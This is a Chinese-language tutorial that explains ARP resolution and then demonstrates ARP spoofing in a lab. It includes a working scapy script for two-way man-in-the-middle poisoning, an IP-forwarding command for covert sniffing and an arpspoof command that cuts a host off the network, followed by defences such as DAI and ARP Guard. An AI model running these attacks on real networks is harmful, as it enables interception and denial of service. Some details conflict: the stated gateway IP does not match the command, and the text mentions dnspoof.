ARP 欺骗攻击

ARP概念

ARP地址解析协议(英语:Address Resolution Protocol)是一个通过解析网络层 IP 地址来找寻数据链路层 MAC 地址的网络传输协议。

ARP解析过程

主机A:192.168.1.10 FC:FB:FB:12:34:56
主机B:192.168.1.20 F8:7B:20:78:90:ab
网关C:192.168.1.254 F8:66:F2:cd:ef:12

假设主机A要给主机B发送一个分组(网络层数据报), 主机A知道主机B的 IP 地址, 却不知道主机B的 MAC 地址, 因此, 主机A的数据链路层在封装以太网帧时, 无法填写目的MAC地址
实际上, 每台主机都会维护一个 ARP 高速缓存表, ARP 高速缓存表中, 记录了 IP 地址和 MAC 地址的对应关系, 因此当主机A要给主机B发送分组时, 会首先在自己的 ARP 高速缓存表中, 查找主机B的 IP 地址所对应的 MAC 地址, 但未找到。
于是主机A发送 ARP 请求报文来获取主机B 的MAC 地址, ARP 请求报文是广播报文, 需要封装在以太网帧中发送, 帧的目的 MAC 地址为广播地址, 也就是48比特为全1, 十六进制为全F形式的 MAC 地址, 该ARP请求报文的内容类似于, “我的 IP 地址是192.168.1.10, 我的 MAC 地址是 FC:FB:FB:12:34:56, 我想知道192.168.10.20的MAC地址是多少?”
交换机收到封装有该 ARP 请求报文的以太网广播帧后, 将其从自己的其他所有接口转发出去, 这样, 主机B和网关C都可以收到该广播帧。
网关C的网卡收到该广播帧后, 将其所分封装的 ARP 请求报文, 送交上层处理, 上层的 ARP 进程解析该 ARP 请求报文, 发现所询问的 IP 地址不是自己的地址, 因此不予理会(即主机C不会保存主机A的MAC到自己的 ARP 高速缓存表中)。
主机B的网卡收到该广播帧后, 将其所封装的 ARP 请求报文送交上层处理, 上层的 ARP 进程解析该 ARP 请求报文, 发现所询问的 IP 地址正是自己的 IP 地址, 需要进行响应, 主机B首先将 ARP 请求报文中所携带的主机A的 IP 地址与 MAC 地址记录到自己的 ARP 高速缓存表中, 然后给主机A发送 ARP 单播响应报文, 在数据链路层封装成以太网单播帧以告知主机A主机B自己的 MAC 地址。
数据帧经过交换机的转发后来到主机A, 由于目的 MAC 地址和目的 IP 地址都和自己的符合, 因此主机A会将主机B的 IP 地址与 MAC 地址记录到自己的 ARP 高速缓存表中, 然后就可以给主机 B 发送分组了。
需要说明的是, ARP 高速缓存表中的每一条记录都有其类型, 分为动态静态两种, 动态记录是指 ARP 记录是由主机通过 ARP 协议自动获取到的, 其生命周期默认为2分钟, 当生命周期结束时, 该记录将自动删除。静态类型是指 ARP 记录是由用户或网络维护人员手工配置的, 在不同的操作系统中, 静态记录的生命周期不同, 例如系统重启后不存在, 或系统重启后依然有效。动态 ARP 记录会周期性删除的原因是局域网中的 MAC 地址和 IP 地址的对应关系随时都可能发生改变, 比如用户更换了网卡, 或者是 DHCP 租期到期后重新申请了新的 IP 地址。

注意:

  1. 由于 ARP 协议的主要用途是从网际层使用的 IP 地址解析出在数据链路层使用的 MAC 地址。因此, 有的教材将 ARP 协议划归在网际层, 而有的教材将 ARP 协议划归在数据链路层。这两种做法都是可以的。

  2. 除了普通的 ARP 请求报文和响应报文, ARP协议还有其他类型的报文, 例如用于检查IP地址冲突的免费ARP(Gratuitous ARP, 目的 MAC 地址为广播地址, 目的 IP 地址等于源 IP 地址)。

  3. 由于ARP协议很早就制定出来了(1982年1月), 当时并没有考虑网络安全问题。因此, ARP协议没有安全验证机制, 存在ARP欺骗和攻击等问题。

ARP渗透

ARP 协议是无状态的, 这表示主机可以自由地发送 ARP 响应报文, 即使主机并未收到查询, 并且任何ARP响应都是合法的, 许多主机会接收未请求的 ARP 响应报文, 比如免费 ARP。
利用这一机制, 黑客可以使用工具在局域网中循环发送 ARP 响应报文, 将网关的 IP 对应的 MAC 地址改成自己的, 受害者收到这一错误的地址对应关系后会将其存入自己的 ARP 告诉缓存表中, 后续所有发给网关的数据都会被黑客拦截或者监听(开启路由转发)。如果黑客再针对网关发送 ARP 响应将受害者的 IP 地址映射成自己的 MAC 地址, 就形成了 ARP 双向欺骗, 下面演示用 scapy 欺骗受害者, 用 dnspoof 欺骗网关。

  • 网关:192.168.44.2 (00:50:56:f5:c5:82)
  • 攻击机:192.168.44.133 (00:0c:29:ae:db:93)
  • 靶机:192.168.44.134 (00:0c:29:d7:eb:f1)

ARP双向欺骗

欺骗靶机的同时也欺骗网关, 就是双向 ARP 欺骗(属于中间人攻击), 攻击机会被网关认为是靶机。这样网关发往靶机的数据包会直接发送给攻击机, 无需依赖 IP 路由转发。之后就可以进行各种数据监听了, 比如使用 tcpdump 和 wireshark 查看截获的数据包, 使用 sslstrip 等工具进行更复杂的攻击等等。

使用scapy库编写ARP双向欺骗脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from scapy.all import *
import threading

victimIP = "192.168.44.134"
gatewayIP = "192.168.44.2"

# 不指定源MAC地址(hwsrc)则会使用本机的MAC地址; 不指定目的MAC地址(hwdst)则会根据目的IP地址(pdst)来广播ARP请求报文获取;
# 不指定ARP类型(op)则默认op=1, 即向目标发送ARP请求报文, 目标主机收到ARP请求报文后, 也会将源主机的IP和MAC地址的映射关系保存到自己的ARP缓存表中, 不是只有收到ARP响应报文(op=2)才会保存到ARP缓存表
attackTarget = Ether()/ARP(psrc=gatewayIP,pdst=victimIP) # 该报文欺骗靶机(pdst)网关(psrc)的IP地址现对应于攻击机的MAC地址
attackGateway = Ether()/ARP(psrc=victimIP,pdst=gatewayIP) # 该报文欺骗网关(pdst)靶机(psrc)的IP地址现对应于攻击机的MAC地址

def attackTargetFunc():
sendp(attackTarget, inter=1, loop=1) # inter指定间隔时间, loop=1开启循环发送

def attackGatewayFunc():
sendp(attackGateway, inter=1, loop=1)

t1 = threading.Thread(target=attackTargetFunc) # 创建第一个线程
t2 = threading.Thread(target=attackGatewayFunc) # 创建第二个线程

# 使用start()方法启动线程t1和t2, 此时t1和t2会同时运行, 每个线程将会执行其对应的target函数
t1.start()
t2.start()

1.png

从上图可以看出靶机被 ARP 欺骗后网关的 MAC 地址变成了攻击机的。
并且由于攻击机没有开启 IP 路由转发, 所以靶机无法访问外网。为了嗅探靶机和网关之间的通信, 需要开启 IP 路由转发, 执行命令: echo 1 >> /proc/sys/net/ipv4/ip_forward。这样就可以将截获的数据包再转发出去, 被欺骗的主机仍然可以正常上网而无法察觉受到攻击。

ARP断网攻击

断网攻击就是将网关的 MAC 地址修改为攻击机的 MAC 地址, 并且攻击机不开启 IP 路由转发, 这样靶机就无法访问外网。
下面使用 Dsniff 工具集的 arpspoof 工具进行 ARP 断网攻击。

1
sudo arpspoof -i eth0 -t 192.168.44.134 192.168.44.2

-i eth0: 指定使用的网卡
-t 192.168.44.134 192.168.44.2: 指定靶机的IP地址, 最后的192.168.1.1是网关的IP地址

执行这个命令后, 靶机就会认为攻击机是网关, 且所有发往网关的数据都将先到达攻击机。由于攻击机没有开启 IP 路由转发, 所以靶机会无法访问外网

防护

  1. 静态 ARP 绑定: 将 MAC 地址与 IP 地址静态绑定(会停止该地址的动态更新), 防止 ARP 欺骗。但是对于大规模网络来说, 静态ARP的管理成本较高。

  2. VLAN 隔离: 将关键设备放置在独立的 VLAN 中, 采取 ACL 等网络策略隔离不同 VLAN 的流量, 可以防止ARP攻击扩散。

  3. 开启交换机的 ARP Guard 功能, 可以防止网关欺骗(交换机会检查每个接口发出的ARP响应报文中的源IP地址是否为指定的网关地址, 如果是则丢弃该报文)。

  4. 交换机配置 DAI(Dynamic ARP Inspection)功能(又依赖与DHCP Snooping), 可以防止ARP欺骗。

  5. 主机安装安全软件, 比如卡巴斯基360, 不建议使用火绒这个网红产品, 经常误报, 而且病毒库也没前面2个大。

参考书籍:

  1. https://book.douban.com/subject/36066143/